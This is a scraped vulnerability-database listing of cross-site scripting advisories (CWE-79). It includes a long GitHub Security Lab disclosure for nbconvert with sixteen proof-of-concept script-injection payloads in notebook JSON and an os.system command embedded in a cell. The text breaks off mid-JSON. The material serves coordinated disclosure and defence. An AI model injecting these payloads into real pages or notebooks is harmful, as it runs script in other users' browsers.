CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
69719 vulnerabilities reference this CWE, most recent first.
GHSA-9JHJ-P8JF-Q52W
Vulnerability from github – Published: 2023-10-20 09:30 – Updated: 2024-04-04 08:50The flowpaper plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'flipbook' shortcode in versions up to, and including, 2.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2023-5200"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-20T07:15:17Z",
"severity": "MODERATE"
},
"details": "The flowpaper plugin for WordPress is vulnerable to Stored Cross-Site Scripting via \u0027flipbook\u0027 shortcode in versions up to, and including, 2.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-9jhj-p8jf-q52w",
"modified": "2024-04-04T08:50:05Z",
"published": "2023-10-20T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5200"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/flowpaper-lite-pdf-flipbook/trunk/flowpaper.php?rev=2959754#L395"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2966821/flowpaper-lite-pdf-flipbook"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/31d6288d-87f0-4822-b3f4-541f70cf99fd?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9JHQ-843G-53QQ
Vulnerability from github – Published: 2022-05-17 01:35 – Updated: 2022-05-17 01:35Cross-site scripting (XSS) vulnerability in the Help index page in Cisco Secure Access Control System (ACS) allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCud75170.
{
"affected": [],
"aliases": [
"CVE-2013-3421"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-07-12T21:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in the Help index page in Cisco Secure Access Control System (ACS) allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCud75170.",
"id": "GHSA-9jhq-843g-53qq",
"modified": "2022-05-17T01:35:07Z",
"published": "2022-05-17T01:35:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3421"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/85622"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-3421"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9JJG-55MJ-JF5F
Vulnerability from github – Published: 2022-05-01 23:55 – Updated: 2025-04-09 03:56Cross-site scripting (XSS) vulnerability in the WEC Discussion Forum (wec_discussion) extension 1.6.2 and earlier for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2008-3029"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-07T18:41:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in the WEC Discussion Forum (wec_discussion) extension 1.6.2 and earlier for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
"id": "GHSA-9jjg-55mj-jf5f",
"modified": "2025-04-09T03:56:08Z",
"published": "2022-05-01T23:55:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3029"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43514"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30905"
},
{
"type": "WEB",
"url": "http://typo3.org/teams/security/security-bulletins/typo3-20080701-4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30026"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9JJM-MC56-3QXV
Vulnerability from github – Published: 2026-02-03 00:30 – Updated: 2026-02-03 18:04Multiple reflected Cross-site Scripting (XSS) vulnerabilities in the installation module of Subrion CMS v4.2.1 allow attackers to execute arbitrary Javascript in the context of the user's browser via injecting a crafted payload into the dbuser, dbpwd, and dbname parameters.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "intelliants/subrion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-70958"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T18:04:02Z",
"nvd_published_at": "2026-02-02T23:16:02Z",
"severity": "MODERATE"
},
"details": "Multiple reflected Cross-site Scripting (XSS) vulnerabilities in the installation module of Subrion CMS v4.2.1 allow attackers to execute arbitrary Javascript in the context of the user\u0027s browser via injecting a crafted payload into the dbuser, dbpwd, and dbname parameters.",
"id": "GHSA-9jjm-mc56-3qxv",
"modified": "2026-02-03T18:04:02Z",
"published": "2026-02-03T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70958"
},
{
"type": "WEB",
"url": "https://github.com/emirhanyucell/Subrion-CMS-4.2.1/blob/main/subrion-cms-exploit.txt"
},
{
"type": "PACKAGE",
"url": "https://github.com/intelliants/subrion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Subrion CMS vulnerable to cross-site scripting"
}
GHSA-9JJV-524M-JM98
Vulnerability from github – Published: 2022-09-21 21:42 – Updated: 2022-09-28 03:32Impact
By sending specially crafted headers an attacker can bypass the source image domain allowlist, causing the handler to load and return arbitrary images. Because the response is cached globally, this image will then be served to visitors without requiring those headers to be set. XSS can be achieved by requesting a malicious SVG with embedded scripts, which would then be served from the site domain. Note that this does not apply to images loaded in <img> tags, as scripts do not execute in this context. The image URL can be set in the header independently of the request URL, meaning any site images that have not previously been cached can have their cache poisoned.
Patches
This problem has been fixed in version 1.2.3
Workarounds
The problem is no longer exploitable on Netlify as the CDN now sanitizes the relevant header. Cached content can be cleared by re-deploying the site.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@netlify/ipx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-39239"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-21T21:42:01Z",
"nvd_published_at": "2022-09-23T08:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nBy sending specially crafted headers an attacker can bypass the source image domain allowlist, causing the handler to load and return arbitrary images. Because the response is cached globally, this image will then be served to visitors without requiring those headers to be set. XSS can be achieved by requesting a malicious SVG with embedded scripts, which would then be served from the site domain. Note that this does not apply to images loaded in `\u003cimg\u003e` tags, as scripts do not execute in this context. The image URL can be set in the header independently of the request URL, meaning any site images that have not previously been cached can have their cache poisoned.\n\n### Patches\nThis problem has been fixed in version 1.2.3\n\n### Workarounds\n\nThe problem is no longer exploitable on Netlify as the CDN now sanitizes the relevant header. Cached content can be cleared by re-deploying the site.\n",
"id": "GHSA-9jjv-524m-jm98",
"modified": "2022-09-28T03:32:53Z",
"published": "2022-09-21T21:42:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netlify/netlify-ipx/security/advisories/GHSA-9jjv-524m-jm98"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39239"
},
{
"type": "WEB",
"url": "https://github.com/netlify/netlify-ipx/pull/61"
},
{
"type": "WEB",
"url": "https://github.com/netlify/netlify-ipx/commit/dfa7505a8d47a76fd527570dc40737a61500759b"
},
{
"type": "PACKAGE",
"url": "https://github.com/netlify/netlify-ipx"
},
{
"type": "WEB",
"url": "https://github.com/netlify/netlify-ipx/releases/tag/v1.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@netlify/ipx vulnerable to Full Response SSRF and Stored XSS via Cache Poisoning and Improper Host Validation"
}
GHSA-9JM2-65CQ-2572
Vulnerability from github – Published: 2022-05-14 03:08 – Updated: 2022-05-14 03:08Cross-site scripting (XSS) vulnerability in App Center in QNAP QTS 4.2.6 build 20171208, QTS 4.3.3 build 20171213, QTS 4.3.4 build 20171223, and their earlier versions could allow remote attackers to inject Javascript code.
{
"affected": [],
"aliases": [
"CVE-2017-13072"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-21T13:29:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in App Center in QNAP QTS 4.2.6 build 20171208, QTS 4.3.3 build 20171213, QTS 4.3.4 build 20171223, and their earlier versions could allow remote attackers to inject Javascript code.",
"id": "GHSA-9jm2-65cq-2572",
"modified": "2022-05-14T03:08:35Z",
"published": "2022-05-14T03:08:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-13072"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/nas-201805-16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9JMF-PFCF-72J7
Vulnerability from github – Published: 2022-05-14 03:20 – Updated: 2022-05-14 03:20IBM API Connect 5.0.0.0 through 5.0.8.2 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 139226.
{
"affected": [],
"aliases": [
"CVE-2018-1430"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-30T14:29:00Z",
"severity": "MODERATE"
},
"details": "IBM API Connect 5.0.0.0 through 5.0.8.2 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 139226.",
"id": "GHSA-9jmf-pfcf-72j7",
"modified": "2022-05-14T03:20:22Z",
"published": "2022-05-14T03:20:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1430"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/139226"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg22013058"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104027"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9JMP-C5RX-MW2H
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2022-12-09 18:30IBM WebSphere eXtreme Scale 8.6 Admin API is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 158113.
{
"affected": [],
"aliases": [
"CVE-2019-4115"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-30T16:15:00Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere eXtreme Scale 8.6 Admin API is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 158113.",
"id": "GHSA-9jmp-c5rx-mw2h",
"modified": "2022-12-09T18:30:34Z",
"published": "2022-05-24T16:57:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4115"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/158113"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/1073864"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9JMQ-RX5F-8JWQ
Vulnerability from github – Published: 2022-08-10 17:51 – Updated: 2024-01-25 22:10Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches
Below is currently a duplicate of the original report:
Received on security@ipython.org unedited, I'm not sure if we want to make it separate advisories.
Pasted raw for now, feel free to edit or make separate advisories if you have the rights to.
I think the most important is to switch back from nbviewer.jupyter.org -> nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well.
Impact
What kind of vulnerability is it? Who is impacted?
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address
GitHub Security Lab (GHSL) Vulnerability Report
The GitHub Security Lab team has identified potential security vulnerabilities in nbconvert.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 as a reference).
If you are NOT the correct point of contact for this report, please let us know!
Summary
When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer)
Product
nbconvert
Tested Version
Details
Issue 1: XSS in notebook.metadata.language_info.pygments_lexer (GHSL-2021-1013)
Attacker in control of a notebook can inject arbitrary unescaped HTML in the notebook.metadata.language_info.pygments_lexer field such as the following:
"metadata": {
"language_info": {
"pygments_lexer": "ipython3-foo\"><script>alert(1)</script>"
}
}
This node is read in the from_notebook_node method:
def from_notebook_node(self, nb, resources=None, **kw):
langinfo = nb.metadata.get('language_info', {})
lexer = langinfo.get('pygments_lexer', langinfo.get('name', None))
highlight_code = self.filters.get('highlight_code', Highlight2HTML(pygments_lexer=lexer, parent=self))
self.register_filter('highlight_code', highlight_code)
return super().from_notebook_node(nb, resources, **kw)
It is then assigned to language var and passed down to _pygments_highlight
from pygments.formatters import LatexFormatter
if not language:
language=self.pygments_lexer
latex = _pygments_highlight(source, LatexFormatter(), language, metadata)
In this method, the language variable is concatenated to highlight hl- string to conform the cssclass passed to the HTMLFormatter constructor:
return _pygments_highlight(source if len(source) > 0 else ' ',
# needed to help post processors:
HtmlFormatter(cssclass=" highlight hl-"+language),
language, metadata)
The cssclass variable is then concatenated in the outer div class attribute
yield 0, ('<div' + (self.cssclass and ' class="%s"' % self.cssclass) + (style and (' style="%s"' % style)) + '>')
Note that the cssclass variable is also used in other unsafe places such as '<table class="%stable">' % self.cssclass + filename_tr +)
Issue 2: XSS in notebook.metadata.title (GHSL-2021-1014)
The notebook.metadata.title node is rendered directly to the index.html.j2 HTML template with no escaping:
{% set nb_title = nb.metadata.get('title', '') or resources['metadata']['name'] %}
<title>{{nb_title}}</title>
The following notebook.metadata.title node will execute arbitrary javascript:
"metadata": {
"title": "TITLE</title><script>alert(1)</script>"
}
Note: this issue also affect other templates, not just the lab one.
Issue 3: XSS in notebook.metadata.widgets(GHSL-2021-1015)
The notebook.metadata.widgets node is rendered directly to the base.html.j2 HTML template with no escaping:
{% set mimetype = 'application/vnd.jupyter.widget-state+json'%}
{% if mimetype in nb.metadata.get("widgets",{})%}
<script type="{{ mimetype }}">
{{ nb.metadata.widgets[mimetype] | json_dumps }}
</script>
{% endif %}
The following notebook.metadata.widgets node will execute arbitrary javascript:
"metadata": {
"widgets": {
"application/vnd.jupyter.widget-state+json": {"foo": "pwntester</script><script>alert(1);//"}
}
}
Note: this issue also affect other templates, not just the lab one.
Issue 4: XSS in notebook.cell.metadata.tags(GHSL-2021-1016)
The notebook.cell.metadata.tags nodes are output directly to the celltags.j2 HTML template with no escaping:
{%- macro celltags(cell) -%}
{% if cell.metadata.tags | length > 0 -%}
{% for tag in cell.metadata.tags -%}
{{ ' celltag_' ~ tag -}}
{%- endfor -%}
{%- endif %}
{%- endmacro %}
The following notebook.cell.metadata.tags node will execute arbitrary javascript:
{
"cell_type": "code",
"execution_count": null,
"id": "727d1a5f",
"metadata": {
"tags": ["FOO\"><script>alert(1)</script><div \""]
},
"outputs": [],
"source": []
}
],
Note: this issue also affect other templates, not just the lab one.
Issue 5: XSS in output data text/html cells(GHSL-2021-1017)
Using the text/html output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:
The following is an example of a cell with text/html output executing arbitrary javascript code:
{
"cell_type": "code",
"execution_count": 5,
"id": "b72e53fa",
"metadata": {},
"outputs": [
{
"data": {
"text/html": [
"<script>alert(1)</script>"
]
},
"execution_count": 5,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"import os; os.system('touch /tmp/pwned')"
]
},
Issue 6: XSS in output data image/svg+xml cells(GHSL-2021-1018)
Using the image/svg+xml output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.
The cell.output.data["image/svg+xml"] nodes are rendered directly to the base.html.j2 HTML template with no escaping
{%- else %}
{{ output.data['image/svg+xml'] }}
{%- endif %}
The following cell.output.data["image/svg+xml"] node will execute arbitrary javascript:
{
"output_type": "execute_result",
"data": {
"image/svg+xml": ["<script>console.log(\"image/svg+xml output\")</script>"]
},
"execution_count": null,
"metadata": {
}
}
Issue 7: XSS in notebook.cell.output.svg_filename(GHSL-2021-1019)
The cell.output.svg_filename nodes are rendered directly to the base.html.j2 HTML template with no escaping
{%- if output.svg_filename %}
<img src="{{ output.svg_filename | posix_path }}">
The following cell.output.svg_filename node will escape the img tag context and execute arbitrary javascript:
{
"cell_type": "code",
"execution_count": null,
"id": "b72e53fa",
"metadata": {},
"outputs": [
{
"output_type": "execute_result",
"svg_filename": "\"><script>alert(1)</script>",
"data": {
"image/svg+xml": [""]
},
"execution_count": null,
"metadata": {
}
}
],
"source": [""]
},
Issue 8: XSS in output data text/markdown cells(GHSL-2021-1020)
Using the text/markdown output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.
The cell.output.data["text/markdown"] nodes are rendered directly to the base.html.j2 HTML template with no escaping
{{ output.data['text/markdown'] | markdown2html }}
The following cell.output.data["text/markdown"] node will execute arbitrary javascript:
{
"output_type": "execute_result",
"data": {
"text/markdown": ["<script>console.log(\"text/markdown output\")</script>"]
},
"execution_count": null,
"metadata": {}
}
Issue 9: XSS in output data application/javascript cells(GHSL-2021-1021)
Using the application/javascript output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:
The cell.output.data["application/javascript"] nodes are rendered directly to the base.html.j2 HTML template with no escaping
<script type="text/javascript">
var element = document.getElementById('{{ div_id }}');
{{ output.data['application/javascript'] }}
</script>
The following cell.output.data["application/javascript"] node will execute arbitrary javascript:
{
"output_type": "execute_result",
"data": {
"application/javascript": ["console.log(\"application/javascript output\")"]
},
"execution_count": null,
"metadata": {}
}
Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(GHSL-2021-1022)
The cell.output.metadata.filenames["images/png"] and cell.metadata.filenames["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:
{%- if 'image/png' in output.metadata.get('filenames', {}) %}
<img src="{{ output.metadata.filenames['image/png'] | posix_path }}"
The following filenames node will execute arbitrary javascript:
{
"output_type": "execute_result",
"data": {
"image/png": [""]
},
"execution_count": null,
"metadata": {
"filenames": {
"image/png": "\"><script>console.log(\"output.metadata.filenames.image/png injection\")</script>"
}
}
}
Issue 11: XSS in output data image/png and image/jpeg cells(GHSL-2021-1023)
Using the image/png or image/jpeg output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.
The cell.output.data["images/png"] and cell.output.data["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:
{%- else %}
<img src="data:image/png;base64,{{ output.data['image/png'] }}"
{%- endif %}
The following cell.output.data["image/png"] node will execute arbitrary javascript:
{
"output_type": "execute_result",
"data": {
"image/png": ["\"><script>console.log(\"image/png output\")</script>"]
},
"execution_count": null,
"metadata": {}
}
Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(GHSL-2021-1024)
The cell.output.metadata.width and cell.output.metadata.height nodes of both image/png and image/jpeg cells are rendered directly to the base.html.j2 HTML template with no escaping:
{%- set width=output | get_metadata('width', 'image/png') -%}
width={{ width }}
{%- set height=output | get_metadata('height', 'image/png') -%}
height={{ height }}
The following output.metadata.width node will execute arbitrary javascript:
{
"output_type": "execute_result",
"data": {
"image/png": ["abcd"]
},
"execution_count": null,
"metadata": {
"width": "><script>console.log(\"output.metadata.width png injection\")</script>"
}
}
Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(GHSL-2021-1025)
The cell.output.data["application/vnd.jupyter.widget-state+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:
{% set datatype_list = output.data | filter_data_type %}
{% set datatype = datatype_list[0]%}
<script type="{{ datatype }}">
{{ output.data[datatype] | json_dumps }}
</script>
The following cell.output.data["application/vnd.jupyter.widget-state+json"] node will execute arbitrary javascript:
{
"output_type": "execute_result",
"data": {
"application/vnd.jupyter.widget-state+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-state+json injection')//"
},
"execution_count": null,
"metadata": {}
}
Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(GHSL-2021-1026)
The cell.output.data["application/vnd.jupyter.widget-view+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:
{% set datatype_list = output.data | filter_data_type %}
{% set datatype = datatype_list[0]%}
<script type="{{ datatype }}">
{{ output.data[datatype] | json_dumps }}
</script>
The following cell.output.data["application/vnd.jupyter.widget-view+json"] node will execute arbitrary javascript:
{
"output_type": "execute_result",
"data": {
"application/vnd.jupyter.widget-view+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-view+json injection')//"
},
"execution_count": null,
"metadata": {}
}
Issue 15: XSS in raw cells(GHSL-2021-1027)
Using a raw cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:
The following is an example of a raw cell executing arbitrary javascript code:
{
"cell_type": "raw",
"id": "372c2bf1",
"metadata": {},
"source": [
"Payload in raw cell <script>alert(1)</script>"
]
}
Issue 16: XSS in markdown cells(GHSL-2021-1028)
Using a markdown cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:
The following is an example of a markdown cell executing arbitrary javascript code:
{
"cell_type": "markdown",
"id": "2d42de4a",
"metadata": {},
"source": [
"<script>alert(1)</script>"
]
},
Proof of Concept
These vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example nbviewer is vulnerable to the above mentioned XSS issues:
- Create Gist with payload. eg:
-
https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c -
Then load gist on nbviewer. eg:
https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c
Note: response is served with content-security-policy: connect-src 'none';
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 in any communication regarding these issues.
Disclosure Policy
This report is subject to our coordinated disclosure policy.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nbconvert"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32862"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-10T17:51:53Z",
"nvd_published_at": "2022-08-18T19:15:00Z",
"severity": "MODERATE"
},
"details": "Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches\n\nBelow is currently a duplicate of the original report:\n\n----\n\nReceived on security@ipython.org unedited, I\u0027m not sure if we want to make it separate advisories. \n\nPasted raw for now, feel free to edit or make separate advisories if you have the rights to. \n\nI think the most important is to switch back from nbviewer.jupyter.org -\u003e nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well.\n--- \n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n--- \n\n# GitHub Security Lab (GHSL) Vulnerability Report\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [nbconvert](https://github.com/jupyter/nbconvert).\n\nWe are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.\n\nIf at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` as a reference).\n\nIf you are _NOT_ the correct point of contact for this report, please let us know!\n\n## Summary\n\nWhen using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer) \n\n## Product\n\nnbconvert\n\n## Tested Version\n\n[v5.5.0](https://github.com/jupyter/nbconvert/releases/tag/5.5.0)\n\n## Details\n\n### Issue 1: XSS in notebook.metadata.language_info.pygments_lexer (`GHSL-2021-1013`)\n\nAttacker in control of a notebook can inject arbitrary unescaped HTML in the `notebook.metadata.language_info.pygments_lexer` field such as the following:\n\n```json\n\"metadata\": {\n \"language_info\": {\n \"pygments_lexer\": \"ipython3-foo\\\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\"\n }\n}\n```\n\nThis node is read in the [`from_notebook_node`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/exporters/html.py#L135-L140) method:\n\n```python\ndef from_notebook_node(self, nb, resources=None, **kw):\n langinfo = nb.metadata.get(\u0027language_info\u0027, {})\n lexer = langinfo.get(\u0027pygments_lexer\u0027, langinfo.get(\u0027name\u0027, None))\n highlight_code = self.filters.get(\u0027highlight_code\u0027, Highlight2HTML(pygments_lexer=lexer, parent=self))\n self.register_filter(\u0027highlight_code\u0027, highlight_code)\n return super().from_notebook_node(nb, resources, **kw)\n```\n\nIt is then assigned to `language` var and passed down to [`_pygments_highlight`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/filters/highlight.py#L90)\n\n```python\nfrom pygments.formatters import LatexFormatter\nif not language:\n language=self.pygments_lexer\nlatex = _pygments_highlight(source, LatexFormatter(), language, metadata)\n```\n\nIn this method, the `language` variable is [concatenated to `highlight hl-` string to conform the `cssclass`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/filters/highlight.py#L56) passed to the `HTMLFormatter` constructor:\n\n``` python\nreturn _pygments_highlight(source if len(source) \u003e 0 else \u0027 \u0027,\n # needed to help post processors:\n HtmlFormatter(cssclass=\" highlight hl-\"+language),\n language, 